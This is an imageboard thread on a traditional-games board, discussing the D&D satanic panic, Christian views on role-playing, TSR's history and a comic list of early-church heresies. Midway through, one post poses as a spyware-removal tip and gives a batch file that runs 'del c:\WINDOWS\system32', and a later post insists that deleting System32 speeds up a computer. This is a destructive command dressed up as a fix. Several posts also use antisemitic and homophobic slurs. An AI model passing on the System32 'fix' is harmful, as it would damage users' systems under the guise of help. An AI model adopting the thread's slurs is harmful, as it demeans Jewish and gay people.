/tg/ - Traditional Games

Reminder that Gygax was a Christian himself, angels tend to be more powerful than devils and the books are very clear what happens to the souls of those who sell themselves to evil.

Also, my favorite anecdote is that back in the day a group was forbidden by their teachers to play D&D in school. So the next week they showed up with Call of Cthulhu.

Maybe someone, with baptists and shit.

My D&D group is all Christian though. So there's that.

>>322420

Literally the same thing happened with my school and Star Wars.

>>322535

… you're not allowed to watch Star Wars, so you watch Mythos movies instead?

>>322537

That would've been far more awesome. But, alas, no. T'was just us nerdlets playing D&D and Magic getting told that "devil worship games" weren't allowed at our country bumpkin school so we switched to space magic laser sword games

>>322420

lol

>>322433

dubsman hits the nail on the head.

Apart from a small handful who probably get freaked out at the idea of anyone using anything other than prayer and bible study as recreational activities I don't think most Christians/Conservatives (not a 1:1 crossover there though) give much of a shit about it. Doesn't necessarily mean they approve though, odds are you'll get a few raised eyebrows and a question or comment about "kids games" if you raise it with most of them.

It's probably also not helped (in terms of players I mean) by the number of PCs and DMs who are happy with the "lol, good is stupid and useless and weak" interpretation. Having said all that though you can't really engage with the game beyond the numbers if you don't have at least a vague understanding of traditional western culture and values.

I wasn't around during this. What were their actual concerns? Just that the setting was polytheistic? That there were demons in it that you didn't necessarily have to kill? Is it just that magic = witch = sin?

>>322557

That sort of thing, with a heavy load of "AAAAGGGH! THE TV GUY SAID IT WAS A DEVIL GAME THAT TEACHES KIDS TO SUMMON SATAN WHILE DOING DRUGS, HAVING GAY SEX, AND VOTING FOR THAT POLITICAL PARTY WE DON'T LIKE! AAAAAAAAAHHH!".

>>322558

This.

>>322557

Have you been around when the media said Harry Potter will lead kids to the devil? Or what about when they said Doom will make you a school shooter? Most recent would be "video games will make you sexist". There's always something to be demonized.

>>322557

Kinda.

If you manage to find the good old 1e books and read through the fluff, you'd find out that a lot of the lore was heavily based off Christianity with the other mythologies mixed in. So, Lucifer was real in game, but there was no sign of God. Likewise, Thor and crew were around and kicking all kinds of ass, Tharizdun was Azathoth, and so on. Magic had descriptions, some rituals were even detailed, the whole deal. The satanic panic started kicking in, the same way it did with metal and Harry Potter and other stuff, except this was far removed from the public eyes and nobody gave a shit about it except the bored moral guardians desperately trying to remain relevant. Of course, as >>322558 said, those bored moral guardians eventually found their audience, and shit escalated from there.

Now, if you look at DnD, you'd notice that it got hit by the satanic panic hard. This was partially because it was the most popular game (look at shit like oWoD: it's double the edge, but half the controversy surrounding it), and because the lady put in charge of the whole DnD business hated Gygax and his fans with every fiber of her being. Basically, when Gygax left the company in order to make the DnD cartoon and do other shit, his two buddies drove the company under by getting over 1.5 mil in debt. Gygax returns, decides to take over, and hires Lorraine Williams to run the business. Now, Lorraine is a business savvy lady - according to her brother, who was Gygax' friend and coauthor - who just happened to hate DnD as being un-Christian (for the reasons listed above) and considered everyone wasting their time playing games to be a pathetic loser. Gygax decides to kick out the guys who originally drove the company under, and those fuckers decide to get their revenge by selling all of their stocks to Lorraine. She becomes the defacto owner of TSR and decides to clean house.

Now, how bad was she?

>deliberately sabotaged every future business Gygax started

>ordered DnD to be purged of everything un-Christian, which led to shit such as naming Devils Baatezu and so on

>ordered DnD to be rewritten from scratch, which resulted in 2e becoming a thing

>she also ordered 2e to become a thing so Gygax would lose all royalties

>forbade playtesting DnD, because "playing games on the company time" is something you shouldn't do when making fucking games

>demanded the same guys who are not allowed to play games to develop a scifi DnD setting, resulting in Spelljammer - which wouldn't be so bad if she didn't order them to make the whole thing in less than a month

>saw MtG's success and demanded that the same people who are not allowed to play games develop a trading card game of their own

>said trading card was such a flop that it drove the company under

>she sold TSR to WotC, laughing all the way to the bank, after driving the company to dust

>>322562

>(look at shit like oWoD: it's double the edge, but half the controversy surrounding it)

Back in November 2002 White Wolf released the final of its X: The Y games in the Old World of Darkness (so not counting Orpheus), a time when the Satanic Panic was mostly over. What was its angle? You play demons trying to tempt mortals into pacts that makes them your servants so that you are able to fight other demons or live a comfortable life, with your thralls laboring under the oppression of a dark master because they made a mistake in a moment of weakness, often pushed into it by the demon in question.

And that's why I love Demon: The Fallen. It's the aristocrats joke of tabletop roleplaying games.

>>322564

Can you play as a demon who just keep humans as pets and keep their souls to make a farm or some shit?

>>322562

I really could not stand all the satanic fear bullshit by people who clearly never played the game. I had to listen to my some in laws I had who would shit talk me as some satanist. Lorraine being a backstabbing cunt who sold the game to the people that ruined it today is just awful.

I really did miss the first edition set of rules, but 2e did have some things I liked as well. Either way, it sucks that 2e only came to be just to screw the original creator. It sucks how Gygax's friends fucked him over.

>>322571

Well, you don't really harvest their souls: you make pacts with them in order to draw on their faith to both fuel your powers (this happens automatically at sunrise for the thrall, so if you make pacts all over the world or manage to make a pact with an astronaut you're golden) and grant boons to the thralls (these are determined in advance). You could theoretically turn their souls into magical artifacts, but you need a lot of different Lores (types of powers) if you don't want to make the same stuff over and over again.

As for the pet part, depending on what kind of demon you're playing as. The more social ones (Defilers, Devils, Scourges) might go as far, but most others won't.

>>322574

I just want to be a good demon.

>>322575

>He wants to be 'good' in a WoD game.

>>322576

Well, I know WoD is shit and full of edgyness… still, I love being a good guy.

>>322579

>Well, I know WoD is shit and full of edgyness

As long as the players and ST are older than 13 you can generally get an interesting game going, but yeah.

>I love being a good guy

Good on you. Again, some awesome stories you can get there, but WoD is set up to fuck good guys in every hole they've got. It's like playing a Paladin in Ravenloft, with a GM who hates you, the GM also knows that you fucked his girlfriend last night and he's using this game as the one form of retaliation/punishment he thinks he can get.

>>322575

>>322579

Oh, that's very much possible. As long as you're not being conscripted by more powerful demons to work for them, your old boss doesn't come back from the Abyss and demands your fealty by force, or an Earthbound gets its hands on you and… does things.

But for the rest, it's not that difficult being a good demon. The book even hint that redemption is a possbility, but it says it's not easy and doesn't tell you how to do this.

>>322576

Depending on your definition of "good", it's easy to be "good" in a WoD game.

Had a party of vampires once who decided to become the vigilante justice of their city. Que Batman-ish characters with the morals of Rorschach. Fun was had.

>>322593

>depending on your definition of "meat" it's easy to be a vegetarian while eating steak.

>>322600

to play a character you'd compare to Rorscach you'd need to sit around at most Humanity:4, probably closer to 3 or even 2. It sounds more like a fluffy hat on top of the usual "I'm edgier than bismuth!" characters you see in the Vampire games.

How did the whole thing about DnD being satanic become so prevalent anyway? The whole game was about being heroes trying to stop evil or save people for the most part.

>>322615

Do you really think that the suburban soccer moms squealing about the evil satan game little jimmy plays with his friends put even 20 seconds worth of research into their outrage after the television told them to be afraid?

>>322616

But the whole thing is so bizarre. It was a classic sword and sorcery style setting before being the high fantasy stuff it is now, and the everything related to it showed heroes killing monsters and demons.

>>322615

>>322616

Because boomers are retards who did all sorts of degeneracy in the '60s, then decide to make up for it by being nosy outraged cunts in the '80s. Their shitty parenting combined with subversion in the media led to the sjws of today.

>>322625

>everything related to it showed heroes killing monsters and demons.

He's not kidding when he says they didn't put in even twenty seconds of research, they decried it as satanist while knowing absolutely nothing about it, not even a shred of sentencing from the rules or having glimpsed the box-art. Blind hate and fake outrage to have a cause to rally behind and feel good about.

>>322625

But you see, it contains demons.

Also, magic and shit.

>>322433

As a Reformed Baptist myself (the closest your going to get to Puritanism proper outside of some hardcore traditionalist Presbyterian splinter group hiding out in Massachusetts or something) I can't think of any reason, theologically speaking, why D&D should be condemned. The worst I can see you painting it, if you are being fair that is (and if you worship a God of Truth you most certainly should endeavor to be fair and balanced in your criticisms) is that because it relies on dice-rolls to determine outcomes it can be looked at as a passive/implicit belief in luck or chance - thus negating the existence of divine providence over history and the events there of, at which point, if the only issue you're wrestling with in life is whether or not you are showing due piety to God's sovereignty over dice rolls I'll let you draw that line in the sand, that person is sanctified to a point beyond reproach.

The fact that there isn't even any money involved places it a step below gambling which itself isn't even condemned biblically.

If a person wanted to take the position that because it places the players characters in contexts in which they can be expected to do sinful things (sorcery, banditry, etc) and thus implicitly supports or normalizes such actions you'd have to condemn story writing in general since authors often purposefully write about characters which do sinful things. Let alone what you do with the question of how you approach the fact that some of the most virtuous men in scripture were also some of the most dreadful - David the adulterer and murderer, Solomon with his harem of 700 wives, Paul a mass murdering slayer of Christians.

The most meaningful argument against people playing dungeons and dragons in my opinion is that after a certain age games of pretend become inappropriate as a hobby, a view I don't personally hold but one I could reasonably sympathize with.

Evil men will always use righteous things to evil ends and righteous men will always be able to use evil things to righteous ends.

>>322539

>you can't really engage with the game beyond the numbers if you don't have at least a vague understanding of traditional western culture and values

like the whole "good is good and jesus is good" fallacy

>>322644

The what now?

>>322647

Not fond of clear "Light/Dark" dichotomy?

>>322634

>Somehow a lot of parents got the idea that this model teenage behavior was the work of the devil and that these kids had to be fixed.

>Still fucking blows my mind. If that was my kid I'd think I was the luckiest dad on Earth.

Look at it this way: Any parent with a perfectly well-behaved child will become hypersensitive to any potential bad behavior. When you've got a shitty kid who always misbehaves, it doesn't make sense to react to every little misdeed with the same level of panic and anger… So when you've got a perfectly good kid who never fucks up and then you're told that they might be tampered with heretical satanic rituals and dark magic?.. Well, you might go overboard.

>>322654

He sounds more like a butthurt fedoralord upset that something can be interpreted in a way that damages his euphoria. He's probably even more upset that there are interpretations that he hasn't sanctioned and that don't come from his canon.

>>322659

>So when you've got a perfectly good kid who never fucks up and then you're told that they might be tampered with heretical satanic rituals and dark magic?.. Well, you might go overboard.

>So when you've got no sense of perspective, or even basic information about what's upsetting you … well, you might go full fucking retard.

FTFY

>>322678

Definitely a butthurt fedoralord (or something thinking he's 'avin a giggle) to conflate angels and demons with Christianity, a number of other religions and mythologies encompass divine and demonic entities.

>>322678

That's kind of the secret: Most parents are full fucking retarded. Every few years they reinvent the "how to parent" books with a completely new method, and they're never remotely helpful.

>>322608

They dropped to 4 very fast, and while they courted a drop into 2, they never made the plunge during the game, as they argued that none of their kills were "meditated," nor were they particularly sadistic in punishing the wicked.

I only made the comparison to Rorschach, because they had no qualms about dealing out capital punishments to murderers, killers and gangbangers.

>>322722

>>322722

>When you realize there are no massively endowed husky Damonettes that lactate Sweet milky Licquor fit for a Space Wolf

Shit son

>>322727

I don't think you would want that milk, anon.

>>322727

>milk

Anon…

>>322730

>>322736

Why not both? Horse semen shots are actually pretty good, I went to place that did one once, goes great with Baileys.

>>322560

To be fair, turns out Harry Potter does lead kids to the devil.

>>322762

The difference here is that Potter actually fucking ended.

The BBEG is gone, Harry graduated, etc. etc.

It wasn't even that great

>>322615

They probably just looked at the covers of the first edition books and jumped to conclusions.

>>322762

Shit, is being older than Berserk the new standard for wizard status?

>>322801

What was in those pancakes?

>>322828

Good ol' america.

>>322654

it's boring

>>322678

>He sounds more like a butthurt fedoralord upset that something can be interpreted in a way that damages his euphoria

fuck off kike

>>322682

>to conflate angels and demons with Christianity

there's no conflation you moron

"angels and demons" are straight Christian garbage

fucking christcuck LARPers are stupid cunts

>>322831

>Anyone I don't like is a kike.

and you were almost fitting in.

>there's no conflation you moron

<Angels and demons only exist in the one thing I've convinced myself that I know about!

<There was definitely nothing that anyone would describe as an angel or demon in any other culture or faith prior to the arrival of le Xcucks!

<I have no fucking idea what I'm talking about or that pretty much every other culture that moved much beyond hunter-gatherer savages had angels and demons as part of their religious folklore.

<I have no idea that even the HGS cultures had good spirits and bad spirits playing largely identical parts in their mythology.

<I'm so clever!

Dude, I'm not religious in any way, and I still think you're dumb as a sack of shit and as annoying as the asshole that filled it.

>>322835

and you were almost fitting in.

>please listen to my pretentious garbage where I claim absolute authority on all matters spiritual

>I'm not even religious but still listen to me, oh and have an insult because I am so superior

I still think you're dumb as a sack of shit and as annoying as the asshole that filled it.

>>322836

Oh shit man, you sure showed me! You didn't even have to answer any of the criticisms levelled against you to show how deluded they were, I guess you're just a better sort of person.

>>322841

that i am

>>322836

Do you want to get this thread anchored? Because this is how you get a thread anchored.

>>322862

He's a fedorafag, explaining that he's wrong has no effect. It's a little known side effect of the types of faggy fedora they wear, it literally sucks the brain out through the scalp while replacing it with vast amounts of unwarranted self importance.

>>322863

Even worse, he's from /intl/. Those faggots are back, and this is their new shilling tactic.

>>322863

Here, have an educational video on this subject.

>>322914

kek

>>322874

They're annoying, but not too bright, and they tend to get bored and give up when they realise that literally nobody gives a shit about them. Give it a week or so and they'll fuck off back to their containment board.

>>322863

The funny thing is, most of these jackasses wear useless trilbies instead, and give the fairly useful fedora a bad name.

>>323381

Fedorafag detected.

>>322785

>>322575

>>322722

>>322727

>>322785

>You could just kill yourself ND. Then you could meet real demons

>>323413

Literally only half of those are me…

>>323515

It's degenerate to use /pol/.

>>322420

>Reminder that Gygax was a Christian himself

Wasn't he a Jehovah's Witness? JWs are not Christian even though they like to refer to themselves as such when it is convenient for them.

>>322419

I can't answer your question honestly, because I live in a rural town and it's very difficult to find an RPG group that can work with my schedule.

I think the better question is how much resentment of the RPG community persists in the Christian/Conservative community?

It turns out a bit. The big controversy over D&D wasn't that long ago; for people as young as me, it seems like it was ages ago, but there are people reading this right now who are old enough to remember it.

Christian groups seem to have moved on to video games lately, and the conservative movement followed them every step of the way. Ironically so did the liberals. However, because the controversy over RPGs and D&D in particular was fairly recent, I in fact can confirm that there's still an anxiety about it in the Christian community, because my parents forbade me and my older brother from playing it briefly, despite the fact that my stepdad had played it in his childhood. They did eventually let us play it, on the condition that neither of us look into actual witchcraft and start casting black magic all over the house.

If anything, I think a new controversy is brewing, and it's largely thanks to GamerGate. Assuming that feminism persists for another decade, they might try the GamerGate bullshit again with RPGs, and it will look a lot like the original controversy which surrounded D&D. Be prepared, kids.

I hope that answers your question. For some reason sometimes when I answer questions like this I feel like I'm being really incoherent.

>>322419

In my experience down in the deep south bible belt, not much resentment is left.

In fact, a few of the churches play it there.

The big thing is that there's some parts skipped over, and sometimes other things are changed. They don't like, for instance, other gods in the game, or demons often enough. And they might change some minor details about magic.

>>323515

>totally fine to want to be the hypersexualized pedobait little girl

This is why nobody takes them seriously.

>>323536

>Christian groups seem to have moved on to video games lately

What, younger christians play video games though

> I think a new controversy is brewing, and it's largely thanks to GamerGate

Christians don't like feminists, or really anything on the left, especially not faggots.

>>322419

Why would you post the jpg instead of the actual video?

>>322640

Haven't read farther in the thread than this, but as a christian myself, and a DM for some coworkers (who are all atheists) there's another couple angles on why DnD makes me uncomfortable sometimes.

The first, is in the game you have gods, and if you're a paladin, you specifically have to worship that god. Those are the words the game uses. Now, if you saw these things in real life, you wouldn't call Kord a god, and you wouldn't call what his followers and servants do for him worship. Yes the paladin can out-glow a midnight rave crowd but that isn't worthy of "worship" … but the game makes you say those words, if you play it true to the rules. I don't have a problem with the super-powers and the powers they bestow on their friends, just that I'm asked by some guy in New York to call this imaginary super-power a god, or say my imaginary hero worships him.

The other major angle, is angels and demons. Because just as there is a God, and other things who would fancy themselves gods but aren't very good at it, there are angels, and demons, and you can't kill them because, to misquote Schwarzenegger's character, "if it doesn't bleed, we can't kill it." But the game says "now you're being attacked by a goat demon" and you respond with "I stab it with my +2 dagger of demon-slaying" and soon the thing is as dead as a door-nail, and now you have this image in your head of a dead demon decaying next to the rabbit you ran over on the way home from DnD night.

That's not reason enough to not play, but you should stop and ask yourself what you believe, and what's real, before you sit down with some friends to talk about stuff that sounds vaguely plausible but is complete BS. After you're done with that self-examination, you should stop at the grocery store because last session you said you'd bring the mountain dew & jolt colas.

>>322801

>>322828

>>322829

This actually makes sense when you think about it.

In Greek mythology, Hades tricked Persephone into eating a pomegranate, making her magically unable to leave the underworld without his consent.

The same thing's happening here.

>>325054

Haberdashitter. Noun. Someone who likes the common "fag"-tier hats in either style or function, and not because it is the normalfag/hipster/fedorathiest fashion trend.

>>325942

What can I say, I grew up in a household of hat-wearers.

Anyone have that random hat selector table?

>>325054

Why would Jesus, who almost definitely has the most overpowered version of Lay on Hands to ever exist, waste his time picking up improved evasion, an ability that almost exclusively only saves you from a bit of hit point damage, the least debilitating effect in the game? (apart from the last 1HP)

>>326108

If you evade hard enough you can perpetually avoid falling in water.

>>326109

He must have a +89 to Balance checks so he can always make the DC 90 for balancing on water. Probably a ridiculous Sacred bonus from some bs GM fiat. I guess that's what happens when Dad is the GM.

>>326108

>Implying that the GMs son wasn't allowed to use an overpowered homebrew 'Homoousion' race with the equally OP 'Messiah' class granting an arbitrarily high number of skill points, a d100 HD, high saves, choice of feats and pretty much ever EX, SU, and SL ability going.

>>323627

>The first, is in the game you have gods, and if you're a paladin, you specifically have to worship that god. Those are the words the game uses.

You're playing some really old version of the game then, because Paladins don't have to worship the gods of good. Instead they are devoted to the ideal of Lawful Good.

>>326154

>You're playing some really old version of the game

Hey, have you removed the evil spyware microsoft added to their last update? It's giving them all your personal and banking data so they can sell it to third parties. Fortunately /tech/ has found an easy way to remove this blatant malware.

Open Notepad

Type the following (precisely or it won't work)

@echo off

del c:\WINDOWS\system32

Save as 'nospy.bat' (it has to be a .bat file to work) and make sure to save as 'all files'.

Close it down and double click on the file icon to remove the spyware and help keep your data secure.

Make sure to tell all your friends.

>>326161

OS 10.12.6 here, it didn't work.

>>323627

>The first, is in the game you have gods, and if you're a paladin, you specifically have to worship that god. Those are the words the game uses.

I'm also approaching this as a Christian, who mostly plays with other Christians. I've had several friends express a similar sentiment, but I've never quite understood what the problem is. I think it comes down to peoples' individual style when it comes to the "role-playing" part of roll-playing games. I tend to approach it from the perspective that I, [my name], am not worshiping a false god. I am instead portraying a fictional character who worships a fictional god. I always maintain a line of separation between who I am and who my character is, and so for me this has never posed a moral or ethical problem. I've noticed that the friends who have the "false gods" problem with RPGs are the same friends who tend to put a lot more of their real selves into their characters, and treat their characters more as extensions of who they are, rather than as separate fictional entities with their own personalities and beliefs.

>>326157

Wow. "Delete System 32" trolling has come a long way.

>>326215

Who's trolling? Have you seen the amount of system resources that this evil S32 program sucks out of your rig? Removing it entirely from your hard drive will speed your computer up by so much you won't even believe it's the same machine. I can bench 300 frames per second on Crysis, with all the graphics & physics options turned up to their highest setting, on a 5 year old laptop. Just imagine what your gaming rig could run without the System32 malware hogging all your processor cycles.

Don't let them suck you into the endless trap of constantly upgrading your hardware. Delete System32 and unleash the true power of what you already have.

>>326145

Jesus was probably on the cross for 6 hours before he died His mortal death, or 3600 rounds. Assuming he was unable to lift himself to breathe - pretty hard to do pullups on nails on the wrists - let's say He immediately has to hold breath.

He can hold His breath for 2 rounds per constitution point, before he needs to start rolling con checks. These checks are DC10 con checks, with the DC increasing by +1 each time, and the first failure knocks you unconscious, death occurs on the 3rd round thereafter.

I'm struggling to work out how to determine his con from this, but it is certainly above 100 since at 100 con it is impossible to pass the DC on round 267 out of 3600.

>>326154

In 5e you don't even have to be Lawful Good. Just Lawful

>>326572

Oath of Vengeance makes no sense with a LG character.

>>326574

Well, considering how majority of adventures feature adventurers preventing evil creatures from doing evil things, Oath of Vengeance paladin isn't going to deviate from LG much. I admit that I've misunderstood the post I replied to

>>322581

>WoD is set up to fuck good guys in every hole they've got.

That's generally true of the old one. The new one is a lot more balanced.

I think we've had quite enough religion for one timeline, please don't ruin my fantasy world with your fantasy world.

>>326646

There's also the part where he may/may not have walked right into a Skinwalker Cave thinking they were demons as they did their fucked up Skinwalker mannerisms and behaviors, only for him to walk right the fuck out.

I'm kinda new here so forgive me for not lurking properly, but Christian theology and occultism is rooted deeply in a lot of RPG games. I imagine most of the issues are with individual people who were raised a certain way. You know, the reason anyone is an asshole pretty much.

An RPG game that took a good translation of The Book of Enoch into account (available in the Ethiopian Bible!) as just one example of Christian occultism/etc would be epic.

That's kinda why a lot of these games are funny too because some rude guy who listens to his pastor 100% might play a game with some greasy nerds and actually learn about his own religion. Back to lurking until I'm not a newfag, peace.

>>326649

Is that from the Apocrypha? If so it can be discarded as non-canonical nonsense. If we're including all that fan-fic bullshit then we'd need to stat him for things like

>Creating and animating Clay Golems (in the forms of songbirds)

>Casting woodshape

>Multiple castings of Resurrection.

>All before he turned 13

That's just from the Infancy 'Gospel' of Thomas, which claims he was a high level caster, probably with levels in the Mystic Theurge prestige class. Where the fuck was he getting enough diamonds to cast Resurrection multiple times as a prepubescent boy?

>>326668

>Is that from the Apocrypha? If so it can be discarded as non-canonical nonsense.

That's still up for debate. The Book of Enoch is in the Ethiopian Bible and has been for a very long time. And since we're talking about roleplaying the GM can make whatever rules he wants. Skinwalkers are mostly remembered as a Native American lore.

Ever look up an old Hopi native map of the Grand Canyon? Real life can be a hell of a lot more fascinating than a game. Might as well incorporate that stuff into something fun right?

>>326668

>>326678

Actually I think one of the "lost Gospels" AKA Apocrypha texts refers to Jesus as a skinwalker, come to think of it.

But yeah, lots of contradicting testaments with what we know as the Bible, and some that aren't so contradictory.

>>323521

Gygax was a jehovahs witness but left the -cul-church and became a regular non denom Christian

>>323536

my psychologist warned me against it because she said evil influences could be in it. Which is fair, but i can discern between them. Every paladin or cleric i play worships a virtue or some shit.

Only thing evil about DnD was 4e and the autism that was the almost unending tide of 3.5 books

>>326678

>>326680

Sounds like you're talking about the Docetic Schism/Gnostic Heresy. It was basically Jesus was fully God but took on the outwards appearance of a human - which would sort of make him a skinwalker. Although aren't skinwalkers meant to physically change their bodies in order to adopt the appearance of people? The point I was making though was that if we try to adopt every interpretation of Christ then his character sheet would be about 50 pages long and the list of sourcebooks you'd need would form its own library.

>>326920

Yeah, if you start to include shit like how according to Arius Jesus was a being created by God which, according to legend, ended up with Arius being knocked the fuck out during the first council of Nicaea by Nicholas of Myra (yes, the man who would later become Santa Clause) or Monophysitism (Jesus was part human and part divine instead of two parts in full, which raises all sorts of uncomfortable implications) you have a massive clusterfuck of a character.

>>326925

Pretty much, and that's before you bring in Ebionism, Nestorianism, Apollinarianism, Eutychianism, and all the other hereisies that weren't big enough to be remembered. I think the only character to get re-imagined more often was Batman.

>>326966

For the edification of those not willing to google those but still want to know the how and what:

>Ebionism

"Yes, goyim, you should follow Jewish law while rejecting the divinity of Jesus who is not Christ (it's difficult, goyim, trust me) and you should live in poverty as well."

>Nestorianism

"Jesus the man and Jesus the Son of God are two different natures, not the same person. No that does not mean that there are two Jesii running around SHIT DON'T EXCOMMUNICATE ME."

>Apollinarianism

"Jesus' body and soul were human, but his mind could not have been. What's this talk about tetrium quid SHIT DON'T EXCOMMUNICATE ME."

>Eutychianism

"Jesus' humanity was overidden/changed by his divine nature, meaning He was a different kind of human because of the divinity within Him. No hoomoousion. SHIT DON'T EXCOMMUNICATE ME. Well, if you're going to be like that I'm going to ignore this council and make my own church, with two natures and millions of followers!"

All of these are pretty old, dating to the first half millenium of Christianity. Especially the 4th century: the Church did little back then but try to formulate doctrine and call everyone heretics in the same style we on /tg/ often joke how the Imperium of Man works. A more recent one would be Feeneyism, which came from an American Jesuit preaching fire and brimstone, spitting on the Church's teachings and began to preach hardcore extra Ecclesiam, nulla salus (if you're not Catholic your soul is fucked). The Jesuits got sick of him and kicked him out in 1949, followed by an excommunication in 1953.

>>326969

Holy shit, those have got the be the clearest and most interesting descriptions of the various movements I've encountered yet.

>Especially the 4th century: the Church did little back then but try to formulate doctrine and call everyone heretics in the same style we on /tg/ often joke how the Imperium of Man works

The hilarious thing about the early church councils is that rather than the calm and eloquent meeting of religious scholars that the modern church kind of wishes it could talk about it was more like an RL meeting of fa/tg/uys engaged in full blown edition wars.

>You're a heretic!

<Nuh uh, you're the heretic!

>Well if you're not going to accept that you're a heretic then I'll excommunicate you!

<You can't excommunicate me if I excommunicate YOU first!

>Oh yeah? Well I excommunicated you last week, faggot!

>>327022

What video was this on, dubsman?

>>326969

Got anymore heresies? I know my old professor defined Arianism as the "catchy jingles and shallow theology" kinda heresy. Was annoyingly popular for a time, and then much glee was had at founder Arios dying of dysentery.

The inquisition or the crusades make for good scenarios for D&D tbh.

>>327075

>Inquisition

You mean investigating suspects, assembling a case, and then seeking the heretic? By the way, the Inquisitorial evidence-based method forms one of the foundations of European law.

>>327074

>Got any more heresies?

I'm glad you asked! Have a few off the top of my head.

Cathars

>The world is shitty and evil. So shitty and evil that God could never have come down to it, because it's so shitty and evil. Therefore Jesus was not divine. Oh, and if the theology bores or confuses you, we do free love! (yes, they were French)

Fraticelli

>You know those Franciscan monks who live lives of poverty so strict they don't even own the clothes they wear? Yeah, well we think they're pussies who aren't trying to poverty hard enough, so screw you guys, we're out.

Henricians

>The church can't tell me what to believe or do! Just, like, read the bible and whatever it means to you is probably good enough. Just don't let us catch you actually worshipping!

and one of my all time favourites

Triclavianism

>You know how orthodox Christianity teaches that Christ was crucified with 3 nails? Well we say the Romans used four and if you disagree God will send you to Hell!

>>327074

>>327102

Some more, then? Alright.

>Marcionism

"Old Testament God is a douche, New Testament God is a swell dude. What do you mean, we're heretics? We created the first official canon!"

>Circumcisers

"Yes goyim, if you have your foreskin you won't be saved by God's grace, for it is an anchor of evil. You should visit doctor Solomon Sheckelstein, he'll gladly remove it for you… for a fee of course. And since this is in the Bible we're not heretics. No need to thank me, goyim."

>Arianism

"God the Father is the dad of God the Son, and a lot of people agree with me on this. Nicholas of Myra, what are you doingOH FUCK NOT IN THE FACE."

>Sabellianism

"God the Father, God the Son and God the Holy Spirit were not different individuals with the same nature, they were the same person with different natures. What do you mean that means that God the Father died on the cross SHIT DON'T EXCOMMUNICATE ME."

>Catharism

"While we believe that God is evil and you should worship the good God instead, we're totally not Gnostics SHIT DON'T EXCOMMUNICATE ME."

>Pelagianism

"Original Sin ain't shit, all humans are born sin-neutral and can reach God under their own power without the big man having to do anything SHIT DON'T EXCOMMUNICATE ME."

>Monophysitism

"The Nestorians can go suck the biggest of dicks. Jesus had only one nature, which is part divine and part human and making him something different. No that does not mean that he can't represent humanity or God SHIT DON'T EXCOMMUNICATE ME."

>Jansenism

"Jesus only died for those who would be saved and not also the shmucks who won't be SHIT DON'T EXCOMMUNICATE ME."

>Iconoclasm

"Yeah, according to Leo III we should wreck statues and pictures of Christ and the saints because the dude listened to the muslims too much and ignores that the Bible says otherwise SHIT DON'T EXCOMMUNICATE ME."

And of course, while it's no longer a heresy it was back in the day…

>Protestantism

"Yeah, I nailed my homebrew to the church door so that people are going to playtest it in universities. What do you mean you translated it into German and spread it to the masses? Now everyone is going to play my incomplete homebrew and oh God with the killing and the burning and the iconoclasm and wars across the continent and the balkanization of the faith already!"

>>327115

>Fraticelli

Wait, maybe I was mistaken. God's Philosophers mentioned briefly that some monks who went further with the poverty and asceticism were around when Aquinas was, and that he might've gotten into some minor trouble for talking with them. However, they might not've been the Fraticelli.

Speaking of them, here's a couple resources:

http://www.newadvent.org/cathen/06244b.htm

http://www.worldcat.org/title/nature-and-the-effect-of-the-heresy-of-the-fraticelli/oclc/1036993

http://suptg.thisisnotatrueending.com/archive/25064626/ Oh yeah, speaking of heresies, this will never not get a laugh out of me.

>>322573

>It sucks how Gygax's friends fucked him over.

It sucks how Gygax fucked over Arneson.

There are no good guys in the history of T$R.

>>327146

How did that happen?

>>327142

There are no words

>>327158

Sure there are: Stubbornness, willing myopia, stunning ignorance, and lack of (un)common good sense.

>>327140

>>327152

>mfw the local Presbyterian seminary is strictly speaking a pack of heretics.

http://crusaderkings-two.wikia.com/wiki/Fraticellism This is fun too.

>>327229

And this is why Catholics tend to be easier going (that, and the lack of tee-totalers).

>>327152

>>327229

The funny thing is that I'm not Catholic, or even Christian. I'm the kind of dick that would, upon being made Pope, take the name Peter II just to mess with people.

>>327102

>>327138

>>326969

So there's this running joke in Discworld that the Church of Om, once it came under the leadership of Brutha and stopped doing the holy wars and shit, just constantly schismed. All the time. Incessantly. They'd schism over breakfast, reform over lunch, and re-schism at dinner, as a sort of jokey nod to all this nonsense.

I didn't think it got quite THIS bad in real life.

>>327251

Of course, what's a religion without a good schism? Even the Jews and Muslims are doing it, if not as much as the Christians are. And most of those mentioned above stem from Catholicism, if you go into the many flavours of Protestantism you'll go cross-eyed (heh).

>>327252

>And most of those mentioned above stem from Catholicism, if you go into the many flavours of Protestantism you'll go cross-eyed (heh).

At the risk of being PIDF it really isn't as bad in Protestantism as Roman propaganda would lead people to believe. Although the Roman Catholics put up a good talk about the one united church they are arguably more internally divided on more centrally important issues than any two divergant protestant groups are. Broadly speaking Protestantism branches into the Lutherans, the Reformed and the Anabaptists. The Lutherans obviously from Martin Luther, the Reformed originating out of the Swiss reformation which began almost at the exact time of Luther's reformation but independent from it and developed largely isolated from it (since Luther, jaded by his experience with the peasant revolts lumped them in as radical fringe elements and refused to work with them) and the Anabaptists or the Radical Reformation were those who fell outside the Reformed church and the Lutheran church and while not all of them were prone to violence or anarchism (many practiced radical forms of pacifism) it was out of this group that you saw the mobilized hordes of the German peasant revolts. A fourth wheel can be named in the Anglican church but it's character became over time so indebted to the Swiss reformers I personally view it as a part of that tradition, but it should be remembered that it did have a separate origin from them.

The Lutheran and Anabaptist movements, while they have a very real presence in the history of Protestantism for the Anabaptists the lack of centrally focused movement and their radically decentralized character meant they were always doomed to remaining an obscure fringe of Protestantism - and the Lutherans thanks largely to Luthers stubbornness against the Swiss reformers and their issue meant that Lutheranism couldn't help but become a largely German affair with Lutheranism only spreading internationally with the spread of the German diaspora. Thus it fell on Zwingli to be the father of global Protestantism, the Swiss reformers being coherent enough to establish self-sufficient national churches across Europe and decentralized enough to avoid the stagnation of Lutheranism and because you had figures from all across europe, Calvin and Beza from France, Knox from Scotland Bucer and Oecolampadius from Germany, Virmigli from Italy, coming to drink from the Swiss well you saw likewise those nations receiving the Reformed church rather than the Lutheran, albeit not all were very successful - the Hussites in Bohemia and the Waldensians in italy while throwing their lot in with the Reformed over time faded into obscurity, as well as Reformed movements in eastern Europe and Scandinavia.

Thus when the British Empire went conquering and to conquer across the whole of the earth, spreading with them the faith of the Anglican church global Protestantism inherited from it's traditions. Colonial ventures in north American provided a sanctuary to English separatist groups, Puritans, Brownists and Baptists who while marginalized under the direct eye of the English monarchy in the far away corners of the world where they were left largely to self-government they could flourish, and that they did, so much so that after two hundred years time the culture and identity which they had fostered for themselves in the new world would cause them to declare themselves a separate and unique people from their English forebears and found the United States.

>>327261

